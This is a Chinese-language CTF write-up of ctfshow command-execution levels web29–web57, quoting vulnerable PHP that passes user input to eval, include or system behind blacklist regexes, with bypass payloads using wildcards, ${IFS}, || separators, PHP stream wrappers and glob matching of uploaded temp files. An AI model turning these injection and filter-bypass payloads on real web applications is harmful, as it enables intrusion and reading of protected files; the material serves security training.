ctfshow WEB入門 命令執行 web29-web57


web29:

if(isset($_GET['c'])){   
$c = $_GET['c'];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函數:eval()

繞過思路:通配符繞過flag過濾

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

web30

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函數:eval()

繞過思路:過濾了system,這里使用echo。flag,php過濾繼續用通配符繞過。

Payload1:?c=echo `cat *`;

web31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函數:eval()

繞過思路:過濾了system,這里使用echo。flag,php過濾繼續用通配符繞過。空格用%09繞過,cat被過濾了換成tac。

Payload1:?c=echo `tac%09*`;

web32

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}

利用函數:eval()

繞過思路:過濾了system,echo,這里可以使用passthru,但是這次還過濾了括號,所以passthru也沒有辦法用,這里使用文件包含,通過php://filter協議進行讀取文件。

Payload1: c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web32-web36

payload相同,不再贅述。

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}

利用函數:include()

繞過思路:文件包含常用攻擊手法,偽協議讀取文件內容

Payload1: ?c=data:text/plain,<?=system("tac fla*");?>

web37-web39

相同payload

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}

利用函數:eval()

繞過思路:過濾了數字和許多東西,但是沒有過濾掉英文的括號。

print_r(scandir(‘.’)); 查看當前目錄下的所有文件名 ,開始構造。
localeconv() 函數返回一包含本地數字及貨幣格式信息的數組,第一個值為”.”。
current() 函數返回數組中的當前元素(單元),默認取第一個值,pos是current的別名 ,讀取目錄文件后,發現輸出的是數組,而文件名是數組中的值,下一步我們需要取出想要讀取文件的數組.
each() 返回數組中當前的鍵/值對並將數組指針向前移動一步
end() 將數組的內部指針指向最后一個單元
next() 將數組中的內部指針向前移動一位
prev() 將數組中的內部指針倒回一位
array_reverse() 以相反的元素順序返回數組
需要知識點齊了,觀察flag.php在倒數第二位,我們開始構造。#current(localeconv()) == getcwd()

Payload1: ?c=print_r(scandir(current(localeconv()))); #打印當前目錄下的文件

Payload2:?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
  }
}

利用函數:echo

繞過思路:把數字和字母都給過濾了,這里的思路是構造system(“ls”),但是字母被過濾。沒有過濾“|”,利用它構造。

Payload1: 腳本參考yu師傅

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,我們通過“;”進行截斷,回顯出flag.

Payload1: ls;

Payload2: cat flag.php;

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷。

Payload1: ls||

Payload2: tac flag.php||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,又多過濾了flag,用通配符繞過。

Payload1: ls||

Payload2: tac fla*||

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。

Payload1: ls||

Payload2: tac%09fla*||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。過濾了*,用“?”代替。

Payload1: ls||

Payload2: tac%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%09繞過。過濾了*,用“?”代替。又多過濾了幾個讀取文件的命令,繼續使用上題的payload,tac沒有過濾。

Payload1: ls||

Payload2: tac%09fla?.php||

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

繼續使用上題payload.

web49

繼續使用上題payload

web50

如上

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,使用<>進行繞過。過濾了*,用“?”代替,但是讀不出來,使用“\”繞過。又多過濾了幾個讀取文件的命令,tac也給過濾了,我們使用nl或者ta\c進行繞過。

Payload1: ls||

Payload2: ta\c<>fla\g.php||

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函數:system()

繞過思路:這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯,“;”也被過濾了,我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,<>也被過濾了無法進行繞過,使用${IFS}繞過。過濾了*,用“?”代替,但是讀不出來,使用“\”繞過。又多過濾了幾個讀取文件的命令,tac也給過濾了,我們使用nl或者ta\c進行繞過。

Payload1: ls||

Payload2: ?c=ta\c${IFS}../../../fla?||

web53

同上,不用||截斷了

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

利用函數:system()

繞過思路:過濾了flag,用通配符繞過,多過濾了空格,%被過濾,%09無法繞過,<>也被過濾了無法進行繞過,使用${IFS}繞過。過濾了*,用“?”代替。又多過濾了幾個讀取文件的命令,tac也給過濾了,無法使用ta\c進行過濾了。所以這里我們使用grep.在flag.php中查找帶有show字符串的一行(因為flag的格式為ctfshow{})

Payload1: ?c=grep${IFS}show${IFS}fl?g.php

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

利用函數:system()

繞過思路:這里沒有禁用數字所以我們可以使用base64命令

Payload1: ?c=/???/????64 ????.???

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

利用函數:system()

繞過思路:無字母數字webshell。在linux shell中,.可以用當前的shell執行一個文件中的命令,比如.file就是執行file文件中的命令。所以本題可以post上傳一個包含命令的文件,然后通過.來執行文件中的命令即可讀到flag。

但有個問題,怎么去找到我們上傳的文件呢?
當我們post上傳一個文件后,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機生成的大小寫字母。想當然的我們會用/???/?????????去匹配這個文件。
這里又會出現一個問題:符合這樣的文件有好幾個,這樣其實匹配不到剛剛上傳的文件。
翻閱p神文章可以知道,與正則表達式類似,glob支持利用[0-9]來表示一個范圍,所以我們可以用[A-Z]來匹配文件的最后一位,但因為過濾了字母,需要把A改為A的前一位@,把Z改為Z的后一位[來匹配大寫字母。
那么最終payload為c=. /???/????????[@-[]
這里說下為什么要匹配大寫字母,因為其實用/???/?????????匹配到的其他文件都是小寫字母,只有php臨時生成的文件才包含大寫字母,不過因為是隨機生成的大寫字母,不一定每次都是大寫,可以多試幾下。
分析完畢,接下來開始操作

首先上傳一個文件,腳本如下

<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

bp抓包,改參數,如下圖:

web57

/flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}

利用函數:system()

繞過思路:過濾了通配符,無法進行無數字字母webshell,system中已經寫好cat和php,所以我們只需要構造出36即可。在shell中可以利用$和()進行構造數字,詳情見python腳本。

Payload1: 見python腳本

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
如果說要構造36,在相應位置輸入37,即可構造出36.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM